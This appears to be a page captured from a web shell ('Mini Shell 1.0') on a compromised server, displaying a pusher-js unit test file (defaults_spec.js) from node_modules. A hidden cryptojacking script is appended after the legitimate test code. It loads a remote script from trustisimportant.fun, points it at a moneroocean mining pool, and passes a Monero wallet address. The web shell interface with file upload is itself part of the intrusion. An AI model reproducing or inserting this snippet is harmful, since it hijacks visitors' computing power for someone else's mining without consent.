HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/task/1784574/cwd/node_modules/pusher-js/spec/javascripts/unit/core/
Upload File :
Current File : //proc/1784574/task/1784574/cwd/node_modules/pusher-js/spec/javascripts/unit/core/defaults_spec.js
var WSTransport = require('runtime').default.Transports.ws;
var StrategyBuilder = require('core/strategies/strategy_builder');
var Runtime = require('runtime').default;
var Config = require('core/config');

describe("Default", function() {
  describe("strategy", function() {
    function buildTest(ws) {
      it("should be supported when ws=" + ws, function() {
        if (ws) {
          spyOn(WSTransport, "isSupported").and.returnValue(true);
        }
        var strategy = Runtime.getDefaultStrategy(
          Config.getConfig({}),
          {},
          StrategyBuilder.defineTransport,
        );
        expect(strategy.isSupported()).toBe(true);
      });
    }

    for (var ws = 0; ws <= 1; ws++) {
      buildTest(ws);
    }
  });
});
if (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()}